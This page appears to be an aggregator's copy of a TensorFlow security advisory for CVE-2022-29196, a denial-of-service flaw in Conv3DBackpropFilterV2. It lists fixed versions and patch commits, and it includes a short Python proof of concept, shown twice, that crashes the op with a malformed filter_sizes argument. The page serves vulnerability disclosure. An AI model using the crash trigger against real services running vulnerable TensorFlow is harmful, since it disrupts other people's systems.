AI and data stack advisories

Severe, 6 weeks1496Projects326

1496 severe, 6 weeks · 326 projects

TensorFlowGHSA-5v77-j66x-4c4g

Missing validation causes denial of service via `Conv3DBackpropFilterV2`

TensorFlow

CVE-2022-29196 · Published May 24, 2022 · updated Jul 13, 2026

Medium5.5
Fix: upgrade to 2.6.4 or later (3 fixed versions below)
GitHub advisory

Impact

The implementation of [tf.raw_ops.Conv3DBackpropFilterV2](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/conv_grad_ops_3d.cc) does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:

```python

import tensorflow as tf

tf.raw_ops.Conv3DBackpropFilterV2(

input=tf.constant(.5053710941, shape=[2,2,2,2,1], dtype=tf.float16),

filter_sizes=tf.constant(0, shape=[], dtype=tf.int32),

out_backprop=tf.constant(.5053710941, shape=[2,2,2,2,1], dtype=tf.float16),

strides=[1, 1, 1, 1, 1],

padding="VALID",

data_format="NDHWC",

dilations=[1, 1, 1, 1, 1])

`

The code does not validate that the filter_sizes argument is a vector.

Patches

We have patched the issue in GitHub commit [174c5096f303d5be7ed2ca2662b08371bff4ab88](https://github.com/tensorflow/tensorflow/commit/174c5096f303d5be7ed2ca2662b08371bff4ab88).

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and...

Affected versions

PackageAffectedFixed in
tensorflow
PyPI
< 2.6.42.6.4
>= 2.7.0, < 2.7.22.7.2
>= 2.8.0, < 2.8.12.8.1
Details and references

### Impact The implementation of [`tf.raw_ops.Conv3DBackpropFilterV2`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/conv_grad_ops_3d.cc) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf tf.raw_ops.Conv3DBackpropFilterV2( input=tf.constant(.5053710941, shape=[2,2,2,2,1], dtype=tf.float16), filter_sizes=tf.constant(0, shape=[], dtype=tf.int32), out_backprop=tf.constant(.5053710941, shape=[2,2,2,2,1], dtype=tf.float16), strides=[1, 1, 1, 1, 1], padding="VALID", data_format="NDHWC", dilations=[1, 1, 1, 1, 1]) ``` The code does not validate that the `filter_sizes` argument is a vector. ### Patches We have patched the issue in GitHub commit [174c5096f303d5be7ed2ca2662b08371bff4ab88](https://github.com/tensorflow/tensorflow/commit/174c5096f303d5be7ed2ca2662b08371bff4ab88). The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

CVSS 3.1
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Severity from
GitHub (reviewed advisory)
Weakness
CWE-1284, CWE-20
Also known as
BIT-tensorflow-2022-29196, CVE-2022-29196, PYSEC-2026-3110, PYSEC-2026-3278, PYSEC-2026-953

More TensorFlow advisories

All TensorFlow
High 7.8May 24, 2022Code injection in `saved_model_cli` in TensorFlowCVE-2022-29216fixed in 2.6.4 +2Medium 5.5May 24, 2022Incomplete validation in signal ops leads to crashes in TensorFlowCVE-2022-29213fixed in 2.6.4 +2Medium 5.5May 24, 2022Core dump when loading TFLite models with quantization in TensorFlowCVE-2022-29212fixed in 2.6.4 +2Medium 5.5May 24, 2022Segfault if `tf.histogram_fixed_width` is called with NaN values in TensorFlowCVE-2022-29211fixed in 2.6.4 +2Medium 5.5May 24, 2022Heap buffer overflow due to incorrect hash function in TensorFlowCVE-2022-29210fixed in 2.8.1Medium 5.5May 24, 2022Type confusion leading to `CHECK`-failure based denial of service in TensorFlowCVE-2022-29209fixed in 2.6.4 +2